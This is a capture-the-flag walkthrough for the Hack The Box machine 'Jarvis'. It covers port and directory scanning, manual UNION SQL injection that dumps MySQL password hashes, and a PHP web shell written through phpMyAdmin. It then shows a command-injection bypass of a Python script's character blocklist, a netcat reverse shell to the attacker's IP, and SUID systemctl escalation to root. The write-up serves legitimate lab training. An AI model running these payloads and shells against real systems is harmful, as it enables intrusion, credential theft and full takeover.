This post is about the Walkthrough of the hackthebox machine: Jarvis
Hackthebox Jarvis Walkthrough Link to heading

Initial Enumeration Link to heading
Port Scan Link to heading
sudo nmap -sS -p- -Pn -T4 --min-rate 10000 -oN alltcp.txt 10.10.10.143
sudo nmap -sU -p- -Pn -T4 --min-rate 10000 -oN alludp.txt 10.10.10.143
[sudo] password for rocky:
Sorry, try again.
[sudo] password for rocky:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:09 EDT
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
64999/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:09 EDT
Warning: 10.10.10.143 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).
All 65535 scanned ports on 10.10.10.143 are open|filtered (65483) or closed (52)
Nmap done: 1 IP address (1 host up) scanned in 46.35 seconds
Vulnarability Scan Link to heading
nmap -Pn -p 22,80,64999 -sC -sV -oN details.txt 10.10.10.143
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:17 EDT
Nmap scan report for 10.10.10.143
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds
┌──(rocky㉿kali)-[~/hckbox/jarvis]
└─$ nmap -p80 --script http-enum 10.10.10.143
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-15 20:19 EDT
Nmap scan report for 10.10.10.143
Host is up (0.043s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
|_ /js/: Potentially interesting directory w/ listing on 'apache/2.4.25 (debian)'
Hints for initial shell Link to heading
Hint1: Link to heading
There is apache running on 2 ports 80 and 64999. 64999 seems to be phpmyadmin page
Hint2: Link to heading
There is a css folder which contain css scripts which may be exploited.
Hint3: Link to heading
There is a images folder. if we can find a way to upload the files( by curl or url to upload). There is a chance to upload the “cmd” or “reverseshell”
Hint4: Link to heading
There is js folder. which may contain the java/css scripts. If we can upload or excecure some scripts in this foder, this also can help in obtaining reverse shell.
Directory Enumeration Link to heading
Gobuster Scan Link to heading
gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.143
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/04/15 20:26:21 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 313] [--> http://10.10.10.143/images/]
/css (Status: 301) [Size: 310] [--> http://10.10.10.143/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.10.143/js/]
/fonts (Status: 301) [Size: 312] [--> http://10.10.10.143/fonts/]
/phpmyadmin (Status: 301) [Size: 317] [--> http://10.10.10.143/phpmyadmin/]
Progress: 84219 / 220561 (38.18%)
/sass (Status: 301) [Size: 311] [--> http://10.10.10.143/sass/]
/server-status (Status: 403) [Size: 300]
===============================================================
2022/04/15 20:42:37 Finished
======================================================
Nikto scan Link to heading
nikto -h http://10.10.10.143
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.143
+ Target Hostname: 10.10.10.143
+ Target Port: 80
+ Start Time: 2022-04-15 20:29:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'ironwaf' found, with contents: 2.0.3
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3092: /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7863 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2022-04-15 20:36:23 (GMT-4) (405 seconds)
Website front end Link to heading

I have added"supersecurehotel.htb" in /etc/hosts
SQL injection Possibility Link to heading
we can access the rooms menu like this

When you click on each room package the url looks like this:

Testing SQL injection with below format. It did not break the page, however there was blank page like below which confirm the sql injection error part.

One more way to easily identify the sqlinjection is using the sqlmap. The same url has been tested like below with sqlmap command:
sqlmap -u http://10.10.10.143/room.php?cod=1
___
__H__
___ ___[,]_____ ___ ___ {1.5.5#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:44:14 /2022-04-18/
[19:44:14] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=pa8drq7eju8...fj50giiq54'). Do you want to use those [Y/n] y
[19:44:19] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:44:20] [INFO] testing if the target URL content is stable
[19:44:20] [INFO] target URL content is stable
[19:44:49] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
[19:45:12] [ERROR] user quit
The last result states its vulnarable to sql injection.
Manual sql injection Link to heading
Union Injection Link to heading
If i try" http://10.10.10.143/room.php?cod=99 UNION SELECT 1;– - "
I get a blank page like this

I i kepp on adding the number like this, i am getting some results “http://10.10.10.143/room.php?cod=99 UNION SELECT 1,2,3,4,5,6,7;– -”

If i compare it with the actual url “cod=1” urls we can understand the numbers belong to which values. Url “http://10.10.10.143/room.php?cod=1 UNION SELECT 1,2,3,4,5,6,7;– -”

from these we can say 5=picture, 2=room title, 3-room price,4=room description.
SQL query
It’s a sql query fetching from a form which is having mutiple collumns.
SELECT col1,col2,col3... from table WHERE id=$_GET['cod'];
In SQL injection lets say we add “AND 1=1;– -” .
“1=1” is true , the next statement “– -” is to suppress the errors or warnings. “– " is enough. However if not using burp browser wil ignore the space so its bettwer to use “– -”
SELECT col1,col2,col3... from table WHERE id=$_GET['cod'] AND 1=1;-- -
SQL database and collumns enumeration Link to heading
Using some of the sqlinjection [cheatbook ](MySQL SQL Injection Cheat Sheet | pentestmonkey)available, i was managed to get some details using this “http://10.10.10.143/room.php?cod=99 UNION SELECT 1,@@version,@@datadir,user(),database(),6,7;– -”

“group_concat” is a useful function to display mutiple values from different rows to show in one string. url “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1,group_concat(schema_name),3,4,5,6,7 from information_schema.schemata;– -”
We used collumn 2 as its the most visible collums among others.
Now the we have below information:

The above query lists all the databases. We can see the non standard database is “hotel”
Finding the tables from database :hotel
Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema=‘hotel’ ;– -”

It shows just one table called “room”
Now Enumerate the collums in the table “room”
Query"http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name=‘room’;– -”

The collumns found: cod,name,price,descrip,star,image,mini
As none of them seems to be username, lets enumerate the tables in database mysql
Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema=‘mysql’ ;– -”

Tables found : column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user
Now lets enumerate the collumns of table: user in mysql database
Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT null,group_concat(column_name),null,null,null,null,null from information_schema.columns WHERE table_schema=‘mysql’ and table_name=‘user’;– -”

The collumns we got : Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,
Now lets enumerate the collumns -user/Password
Query “http://10.10.10.143/room.php?cod=99 UNION ALL SELECT 1,group_concat(Host,”:",User,":",Password,":",File_priv),3,4,5,6,7 from mysql.user;– "

The details we got:
localhost:DBadmin:*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0:y
Using the crackstation website, i am able to crack it.

PHPadmin exploit Link to heading
During the earlier directory enumeration , we have found a phpadminpage and lets login with these credentials.

The version of “phpmyadmin” is 4.8.


It says the exploit allows the malicious code in terms of sql query if the user is authenticated. In this case we are authenticated and lets insert below code into sql query option.
SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/shell3.php"

I have added the reverse shell code and encoded using the burp

I have the reverse shell.
$ rlwrap nc -nvlp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.143] 44524
/bin/sh: 0: can't access tty; job control turned off
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/sh")'
$
It seems we need to escalate to user “pepper” before root
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
sudo -l output
sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
ls -al /var/www/Admin-Utilities/simpler.py
ls -al /var/www/Admin-Utilities/simpler.py
-rwxr--r-- 1 pepper pepper 4587 Mar 4 2019 /var/www/Admin-Utilities/simpler.py
cat /var/www/Admin-Utilities/simpler.py
cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)
def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()
print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1
print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()
def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req
def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]
def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
Out of all these script this portions gives a hint for another command injection.
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
The script seems for testing the connectivity by ping. It takes our input( assume its an IP) and does the ping.
However to prevent the command injection the script prevents the usage of below characters
forbidden = ['&', ';', '-', '`', '||', '|']
We can see the $ sign is not listed here.So lets simply do
$(bash)
The privilege escalated to user “pepper”.However no command outputs from this shell.So i have decided to create a reverse shell for this.
<sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
$(bash)
$(bash)
whoami
whoami
id
id
ls
ls
pepper@jarvis:/var/www/html$
Rever shell command on Jarvis machine( i have to do this as the shell which i have received bu sudo command does not give any command outputs)
nc -e /bin/bash 10.10.14.3 5555
Netcat receiver
└─$ rlwrap nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.143] 60002
python -c 'import pty; pty.spawn("/bin/bash")'
whoami
whoami
pepper
ls
ls
ayax dining-bar.php images phpmyadmin sass
b4nn3d fonts index.php room.php shell3.php
connection.php footer.php js roomobj.php
css getfileayax.php nav.php rooms-suites.php
pepper@jarvis:/var/www/html$
Privilege escalation to root Link to heading
I can see " /bin/systemctl" is set with suid privilege.
find / -perm -u=s -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
I have created a simple service and run with “systemctl “command.
The simple [service](Rchitect/root.service at Yoda · tcprks/Rchitect · GitHub) file as follows. Please make sure you copy/create this service under /home/pepper directory. Under /tmp directory it may not work.
Now run these commands to run this custom service we created.
/bin/systemctl link /home/pepper/root.service
/bin/systemctl enable --now root.service
/bin/systemctl start root.service
We have reverse shell as root now:
└─$ rlwrap nc -nvlp 2222
listening on [any] 2222 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.143] 56496
python -c 'import pty; pty.spawn("/bin/bash")'
whoami
whoami
root